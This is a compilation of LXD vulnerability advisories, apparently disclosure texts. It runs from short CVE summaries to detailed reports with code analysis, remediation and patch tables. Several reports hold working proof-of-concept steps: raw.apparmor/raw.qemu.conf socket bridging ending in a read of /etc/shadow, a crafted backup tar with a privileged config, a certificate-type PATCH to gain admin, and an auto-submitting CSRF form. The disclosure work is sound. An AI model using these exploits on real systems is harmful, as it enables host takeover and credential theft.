A link following vulnerability in LXD allows an attacker to achieve arbitrary file read and write operations on the host system. When importing or unpacking an image archive, LXD fails to validate whether the metadata.yaml file is a symbolic link. An attacker can exploit this flaw by providing a crafted image archive with a symlinked metadata.yaml file pointing to target file paths on the host system.

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project security restrictions during cross-project instance migrations. When moving an instance cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: <target>, and target: <member>, the destination node skips all project restriction checks because the request arrives as an internal cluster notification. An attacker can exploit this to introduce disallowed instance configurations into a restricted project.

An authorization bypass vulnerability in LXD allows an authenticated user to bypass project-level disk and volume limits. Two related code paths fail to verify resource limits during volume operations: the storagePoolVolumeTypePostMove function omits the limits.AllowVolumeCreation check before moving a volume across projects, and volume snapshot restore operations skip the AllowVolumeUpdate check when the configuration is nil (Config == nil). An attacker can exploit these flaws to allocate storage resources that exceed the administrative limits configured for a project.

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project restrictions during instance migration. When migrating an instance to a target project, LXD accepts configuration overrides without validating the new configuration against the target project's enforced restrictions. An attacker can exploit this flaw to move instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass project-level container isolation restrictions. When a project is configured with restrictions on container privileges (such as enforcing restricted.containers.privilege=isolated), LXD fails to enforce the requirement if an instance configuration omits the security.idmap.isolated key. An attacker can exploit this flaw by creating or updating an instance without explicitly setting security.idmap.isolated, bypassing the target project's security constraints.

An authorization bypass vulnerability in LXD due to a timing flaw during configuration merging allows an authenticated attacker to bypass target project restrictions during cross-project instance copies. When copying an instance to a target project, LXD performs restriction checks before configuration merging is complete, creating a time-of-check to time-of-use (TOCTOU) condition. An attacker can exploit this flaw to copy instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.

A link following vulnerability in LXD allows an attacker to achieve root command execution on the host system. During the import or unpacking of crafted image or backup archives, LXD fails to properly validate and confine the backup.yaml file when it exists as a symbolic link. An attacker can exploit this flaw by providing a malicious archive with a symlinked backup.yaml file, causing LXD to process unconfined configuration metadata and execute arbitrary commands with root privileges.

A path traversal vulnerability in LXD allows an attacker to manipulate file system paths during backup import and restore operations. When importing or restoring a backup archive, LXD fails to validate instance and storage volume names contained within the archive metadata. An attacker can exploit this flaw by supplying a crafted backup archive with malicious instance or volume names containing path traversal sequences, potentially allowing file access or overwriting outside the designated restore directory.

A path traversal vulnerability in LXD's instance template processing allows an attacker with container edit permissions, or any user launching a crafted image, to overwrite arbitrary files on the host system as root. When processing target template paths specified in metadata.yaml, LXD validates the path against a confined os.Root directory handle but subsequently opens and creates the file using os.Create with an unconfined string path. This discrepancy between path resolution checks and file creation allows an attacker to escape directory confinement, overwrite root-owned host files, and achieve host root code execution.

In Canonical LXD versions 4.12 through 6.9, a Server-Side Request Forgery (SSRF) vulnerability in the image import functionality allows authenticated users with the cancreateimages entitlement to interact with internal network infrastructure via the /images endpoint. When importing an image from a URL source, the LXD daemon fails to validate or restrict outbound destination IP addresses, allowing connections to loopback, RFC1918 private ranges, and cloud metadata endpoints. This enables error-based port scanning and unauthorized interaction with internal HTTP services from the daemon's network position.

Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with cancreatestoragevolumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expiresat snapshot field.

A privilege escalation vulnerability exists in LXD from 6.0 before 6.9, 5.21.0 before 5.21.5, and 5.0.0 before 5.0.7 regarding the handling of project-restriction policies during snapshot restoration.. An authenticated project operator in a restricted multi-tenant environment can bypass policy restrictions by importing a maliciously crafted instance backup containing restricted configuration keys within a snapshot. When the snapshot is restored, these restricted keys are applied to the live instance without policy validation. Starting the modified instance grants the operator unauthorized host root access.

Summary

The isVMLowLevelOptionForbidden function in lxd/project/limits/permissions.go is missing raw.apparmor and raw.qemu.conf from its hardcoded forbidden list. A user with canedit permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the restricted.virtual-machines.lowlevel=block project restriction, which is the security control specifically designed to prevent raw config injection.

Details

Affected code

The enforcement point for VM lowlevel restrictions is isVMLowLevelOptionForbidden at lxd/project/limits/permissions.go:924-926:

go func isVMLowLevelOptionForbidden(key string) bool { return slices.Contains([]string{"boot.hostshutdowntimeout", "limits.memory.hugepages", "raw.idmap", "raw.qemu"}, key) }

This list is missing two security-critical config keys:

- raw.apparmor -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile - raw.qemu.conf -- allows injecting arbitrary sections into the QEMU configuration file

The container equivalent (isContainerLowLevelOptionForbidden at line 916) correctly includes raw.apparmor in its forbidden list.

Attack mechanism

Both raw.apparmor and raw.qemu.conf are valid VM config keys (defined in lxd/instance/instancetype/instance.go). When a restricted user sets them on a VM in a project with restricted.virtual-machines.lowlevel=block, the entity config checker at line 779 calls isVMLowLevelOptionForbidden for each key, which returns false for both. The config is accepted without error.

On VM startup:

1. instanceProfile (lxd/apparmor/instance.go:150) reads raw.apparmor from the expanded config and injects it verbatim into the QEMU AppArmor profile template (lxd/apparmor/instanceqemu.go:114-118). An attacker-supplied rule like /var/snap/lxd/common/lxd/unix.socket rw, grants the QEMU process read-write access to the LXD unix socket.

2. qemuRawCfgOverride (lxd/instance/drivers/driverqemuconfigoverride.go:242) reads raw.qemu.conf and appends new sections to the generated QEMU config. The attacker adds a [chardev] section with backend = "socket" pointing at the LXD unix socket, and a [device] section creating a virtserialport connected to it.

3. QEMU starts with -readconfig containing the injected drive definition. The QEMU process connects to /var/snap/lxd/common/lxd/unix.socket (permitted by the injected AppArmor rule) and exposes the connection as /dev/virtio-ports/lxd.exploit inside the VM.

The exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.

Affected deployments

Any LXD deployment where:

- A project has restricted=true and restricted.virtual-machines.lowlevel=block (the default when restricted=true) - A user has canedit on a VM instance in that project (also implied by project-level operator, caneditinstances, or instancemanager entitlements)

The minimum required entitlements are cancreateinstances (to create a VM), canedit on the instance (to set config keys -- lxc config set), canupdatestate (to start the VM), and canexec (to read the block device from inside the VM). Any of the broader project-level roles (operator, instancemanager) include all of these.

This includes the lxd-user multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects "prevent users from gaining root access" (doc/howto/projectsconfine.md).

Version

Tested and confirmed on LXD 6.7.

PoC

The exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.

Admin setup (run on the LXD host)

bash Create restricted project restricted.virtual-machines.lowlevel defaults to "block" when restricted=true lxc project create poc-restricted \ -c features.profiles=true \ -c features.images=false \ -c restricted=true

Create default profile with storage and network lxc profile create default --project poc-restricted lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

Create auth group with minimum entitlements needed for the exploit: canview - required to reference the project in other permissions cancreateinstances - create the VM caneditinstances - set config keys (implies canedit on all instances) canoperateinstances - start the VM and exec into it (implies canupdatestate + canexec) These are baseline permissions for any user who manages VMs in a project. None of these grant permission to edit the project configuration itself. lxc auth group create vm-operators lxc auth group permission add vm-operators project poc-restricted canview lxc auth group permission add vm-operators project poc-restricted cancreateinstances lxc auth group permission add vm-operators project poc-restricted caneditinstances lxc auth group permission add vm-operators project poc-restricted canoperateinstances

Create restricted user identity lxc auth identity create tls/alice --group vm-operators Give the output token to alice

Exploit (run as the restricted user "alice", from her own machine)

bash Alice adds the remote using the token from admin setup lxc remote add target <token>

REMOTE="target" PROJECT="poc-restricted" VM="poc-069" SOCKET="/var/snap/lxd/common/lxd/unix.socket"

Create a stopped VM lxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}

Inject AppArmor rule granting QEMU read-write access to the LXD unix socket. raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction. lxc config set ${REMOTE}:${VM} raw.apparmor \ " ${SOCKET} rw," --project ${PROJECT}

Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port. raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden. lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"] backend = "socket" path = "/var/snap/lxd/common/lxd/unix.socket"

[device "lxdchan"] driver = "virtserialport" chardev = "lxdsock" bus = "dev-qemuserial.0" name = "lxd.exploit"' --project ${PROJECT}

Start VM -- QEMU connects to the unix socket at startup. lxc start ${REMOTE}:${VM} --project ${PROJECT} sleep 30

Elevate privileges to admin (add the "admin" entitlement to alice's group) lxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c ' apt install -y socat curl socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit & sleep 1 curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \ -X PUT -H "Content-Type: application/json" \ -d "{\"description\":\"\",\"permissions\":[{\"entitytype\":\"server\",\"url\":\"/1.0\",\"entitlement\":\"admin\"}]}" '

Create privileged container and mount root filesystem lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default lxc config set ${REMOTE}:pwn-root security.privileged=true --project default lxc config device add ${REMOTE}:pwn-root hostroot disk \ source=/ path=/mnt/host --project default lxc start ${REMOTE}:pwn-root --project default

Full host root access lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow

Impact

Privilege escalation from restricted project user to host root.

The full attack chain is: restricted VM user --> raw.apparmor + raw.qemu.conf injection (bypasses restricted.virtual-machines.lowlevel=block) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds admin entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.

This affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only canedit on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.

The exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.

Remediation

Add raw.apparmor and raw.qemu.conf to the forbidden list in isVMLowLevelOptionForbidden:

go func isVMLowLevelOptionForbidden(key string) bool { return slices.Contains([]string{ "boot.hostshutdowntimeout", "limits.memory.hugepages", "raw.apparmor", "raw.idmap", "raw.qemu", "raw.qemu.conf", }, key) }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

Summary

LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement.

Details

LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.

The backup import path has two distinct configuration sources within a single tar archive:

1. backup/index.yaml - A quick-access metadata file read by backup.GetInfo() at backup/backupinfo.go:68. This is the config checked against project restrictions. 2. backup/container/backup.yaml - The full instance configuration extracted to the storage volume and used for actual instance creation at apiinternal.go:784.

The vulnerability exists because:

1. AllowInstanceCreation() at instancespost.go:885 validates project restrictions using only bInfo.Config from index.yaml.

2. The tar contents (including backup/container/backup.yaml) are extracted to the storage volume at genericvfs.go:952 via unpackVolume().

3. UpdateInstanceConfig() at backupconfigutils.go:236 reads backup.yaml from storage but only syncs Name, Project, pool info, and volume UUIDs - it does not overwrite Instance.Config or Instance.Devices.

4. internalImportFromBackup() at apiinternal.go:784 reads backup.yaml from the storage mount path (not index.yaml) to build the instance database record.

5. instance.CreateInternal() at apiinternal.go:946 creates the instance using the config from backup.yaml. CreateInternal calls ValidConfig which validates config key format only, not project restriction compliance.

Proof of Concept

Environment setup (server admin)

These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets.

bash Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true

Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project

Create a group with instance management permissions in the restricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project canview lxc auth group permission add poc-group project restricted-project cancreateinstances lxc auth group permission add poc-group project restricted-project canviewinstances lxc auth group permission add poc-group project restricted-project canoperateinstances

Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group

The attacker uses it to add the remote: lxc remote add target-lxd <token>

After this setup, the attacker can create normal unprivileged instances in restricted-project but should not be able to create privileged containers, use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions.

Steps

1. Create an instance backup archive locally

The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step.

shell Create the backup directory structure mkdir -p backup/container

Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/

Create backup index.yaml cat >backup/index.yaml <<EOF version: 2 name: escalated-instance backend: dir pool: default type: container optimized: false config: instance: name: escalated-instance architecture: x8664 type: container config: {} devices: {} expandedconfig: {} expandeddevices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default contenttype: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF

Create malicious backup/container/backup.yaml This is the file LXD actually uses to create the instance. It contains the restricted config and devices that should be blocked by the project. LXD never compares this file against index.yaml or re-validates it against project restrictions.

cat > backup/container/backup.yaml <<EOF instance: name: escalated-instance architecture: x8664 type: container config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" devices: {} expandedconfig: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" expandeddevices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default contenttype: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF

Package the archive tar -cf malicious-backup.tar backup/

2. Connect to the target LXD server and import the backup

Connect to the target LXD server and confirm restricted access:

bash Add the target server as a remote lxc remote add target-lxd <token>

Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project

Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true

Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project

Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project

Output contains: security.privileged: "true"

3. Escalate to full LXD admin

Start the container and use the LXD Unix socket, which was bind-mounted from the host via raw.lxc. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects.

bash lxc start target-lxd:escalated-instance --project restricted-project

Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects

From here the attacker has full control: create admin certs, access all projects, modify any instance, or mount the host filesystem.

Impact

The exploit allows full host compromise from within a restricted project. The requirement is that the user has canviewinstances, cancreateinstances and canoperateinstances on the project -- standard permissions for any tenant expected to manage instances.

Possible remediation

Add a second AllowInstanceCreation (or checkInstanceRestrictions) call after backup.yaml is read from storage and before CreateInternal is called. In apiinternal.go, between the ParseConfigYamlFile call (line 784) and the CreateInternal call (line 946):

go // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), }

return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type. go // Ensure the user in not trying to change fields other than the certificate. if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) { return response.Forbidden(errors.New("Only the certificate can be changed")) }

2. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type. go // Reset dbCert in order to prevent possible future security issues. dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: reqDBType, }

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate: bash Create restricted project lxc project create poc-restricted -c restricted=true lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

Add client certificate lxc config trust add --restricted --projects poc-restricted --name poc-user pass token to user

As restricted user: bash Add token lxc remote add target <token>

Confirm we can only see the poc-restricted project lxc project list target:

Confirm we can't unrestrict the project lxc project set target:poc-restricted restricted=false

Get own certificate fingerprint fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

Update the type of certificate to server lxc query -X PATCH -d '{ "type": "server" }' target:$fp or lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

Confirm type is 'server' lxc config trust list target:

Set project to restricted=false lxc project set target:poc-restricted restricted=false

Start privileged container (and escape to root) lxc init ubuntu:24.04 target:privileged -c security.privileged=true lxc config device add target:privileged hostfs disk source=/ path=/mnt/host lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

1. Add Type to the guard check at line 992:

go if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {

2. Use the original type in the reset block at line 1008:

go origDBType, err := certificate.FromAPIType(dbInfo.Type) if err != nil { return response.InternalError(err) }

dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: origDBType, }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

Summary The GET /1.0/certificates endpoint (non-recursive mode) returns URLs containing fingerprints for all certificates in the trust store, bypassing the per-object canview authorization check that is correctly applied in the recursive path. Any authenticated identity — including restricted, non-admin users — can enumerate all certificate fingerprints, exposing the full set of trusted identities in the LXD deployment.

Affected Component - lxd/certificates.go — certificatesGet (lines 185–192) — Non-recursive code path returns unfiltered certificate list.

CWE - CWE-862: Missing Authorization

Description

Core vulnerability: missing permission filter in non-recursive listing path

The certificatesGet handler obtains a permission checker at line 143 and correctly applies it when building the recursive response (lines 163-176). However, the non-recursive code path at lines 185-192 creates a fresh loop over the unfiltered baseCerts slice, completely bypassing the authorization check:

go // lxd/certificates.go:139-193 func certificatesGet(d Daemon, r http.Request) response.Response { recursion := util.IsRecursionRequest(r) s := d.State()

userHasPermission, err := s.Authorizer.GetPermissionChecker(r.Context(), auth.EntitlementCanView, entity.TypeCertificate) // ...

for , baseCert := range baseCerts { if !userHasPermission(entity.CertificateURL(baseCert.Fingerprint)) { continue // Correctly filters unauthorized certs }

if recursion { // ... builds filtered certResponses ... } // NOTE: when !recursion, nothing is recorded — the filter result is discarded }

if !recursion { body := []string{} for , baseCert := range baseCerts { // <-- iterates UNFILTERED baseCerts certificateURL := api.NewURL().Path(version.APIVersion, "certificates", baseCert.Fingerprint).String() body = append(body, certificateURL) } return response.SyncResponse(true, body) // Returns ALL certificate fingerprints }

return response.SyncResponse(true, certResponses) // Recursive path is correctly filtered }

Inconsistency with other list endpoints confirms the bug

Five other list endpoints in the same codebase correctly filter results in both recursive and non-recursive paths:

| Endpoint | File | Filters non-recursive? | |----------|------|----------------------| | Instances | lxd/instancesget.go — instancesGet | Yes — filters before either path | | Images | lxd/images.go — doImagesGet | Yes — checks hasPermission for both paths | | Networks | lxd/networks.go — networksGet | Yes — filters outside recursion check | | Profiles | lxd/profiles.go — profilesGet | Yes — separate filter in non-recursive path | | Certificates | lxd/certificates.go — certificatesGet | No — unfiltered |

The certificates endpoint is the sole outlier, confirming this is an oversight rather than a design choice.

Access handler provides no defense

The endpoint uses allowAuthenticated as its AccessHandler (certificates.go:45), which only checks requestor.IsTrusted():

go // lxd/daemon.go:255-267 // allowAuthenticated is an AccessHandler which allows only authenticated requests. // This should be used in conjunction with further access control within the handler // (e.g. to filter resources the user is able to view/edit). func allowAuthenticated( Daemon, r http.Request) response.Response { requestor, err := request.GetRequestor(r.Context()) // ... if requestor.IsTrusted() { return response.EmptySyncResponse } return response.Forbidden(nil) }

The comment explicitly states that allowAuthenticated should be "used in conjunction with further access control within the handler" — which the non-recursive path fails to do.

Execution chain

1. Restricted authenticated user sends GET /1.0/certificates (no recursion parameter) 2. allowAuthenticated access handler passes because user is trusted (daemon.go:263) 3. certificatesGet creates permission checker for EntitlementCanView on TypeCertificate (line 143) 4. Loop at lines 163-176 filters baseCerts by permission — but only populates certResponses for recursive mode 5. Since !recursion, control reaches lines 185-192 6. New loop iterates ALL baseCerts (unfiltered) and builds URL list with fingerprints 7. Full list of certificate fingerprints returned to restricted user

Proof of Concept

bash Preconditions: restricted (non-admin) trusted client certificate HOST=target.example PORT=8443

1) Non-recursive list: returns ALL certificate fingerprints (UNFILTERED) curl -sk --cert restricted.crt --key restricted.key \ "https://${HOST}:${PORT}/1.0/certificates" | jq '.metadata | length'

2) Recursive list: returns only authorized certificates (FILTERED) curl -sk --cert restricted.crt --key restricted.key \ "https://${HOST}:${PORT}/1.0/certificates?recursion=1" | jq '.metadata | length'

Expected: (1) returns MORE fingerprints than (2), proving the authorization bypass. The difference reveals fingerprints of certificates the restricted user should not see.

Impact

- Identity enumeration: A restricted user can discover the fingerprints of all trusted certificates, revealing the complete set of identities in the LXD trust store. - Reconnaissance for targeted attacks: Fingerprints identify specific certificates used for inter-cluster communication, admin access, and other privileged operations. - RBAC bypass: In deployments using fine-grained RBAC (OpenFGA or built-in TLS authorization), the non-recursive path completely bypasses the intended per-object visibility controls. - Information asymmetry: Restricted users gain knowledge of the full trust topology, which the administrator explicitly intended to hide via per-certificate canview entitlements.

Recommended Remediation

Option 1: Apply the permission filter to the non-recursive path (preferred)

Replace the unfiltered loop with one that checks userHasPermission, matching the pattern used in the recursive path and in all other list endpoints:

go // lxd/certificates.go — replace lines 185-192 if !recursion { body := []string{} for , baseCert := range baseCerts { if !userHasPermission(entity.CertificateURL(baseCert.Fingerprint)) { continue } certificateURL := api.NewURL().Path(version.APIVersion, "certificates", baseCert.Fingerprint).String() body = append(body, certificateURL) } return response.SyncResponse(true, body) }

Option 2: Build both response types in a single filtered loop

Restructure the function to build both the URL list and the recursive response in the same permission-checked loop, eliminating the possibility of divergent filtering:

go err = d.State().DB.Cluster.Transaction(r.Context(), func(ctx context.Context, tx db.ClusterTx) error { baseCerts, err = dbCluster.GetCertificates(ctx, tx.Tx()) if err != nil { return err }

certResponses = make([]api.Certificate, 0, len(baseCerts)) certURLs = make([]string, 0, len(baseCerts)) for , baseCert := range baseCerts { if !userHasPermission(entity.CertificateURL(baseCert.Fingerprint)) { continue }

certURLs = append(certURLs, api.NewURL().Path(version.APIVersion, "certificates", baseCert.Fingerprint).String())

if recursion { apiCert, err := baseCert.ToAPI(ctx, tx.Tx()) if err != nil { return err } certResponses = append(certResponses, apiCert) urlToCertificate[entity.CertificateURL(apiCert.Fingerprint)] = apiCert } } return nil })

Option 2 is structurally safer as it prevents the two paths from diverging in the future.

Credit This vulnerability was discovered and reported by bugbunny.ai.

Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.

html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = ":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}; document.getElementById('form').submit(); </script> </body> </html>

3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |

References Reported by GMO Flatt Security Inc.

Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

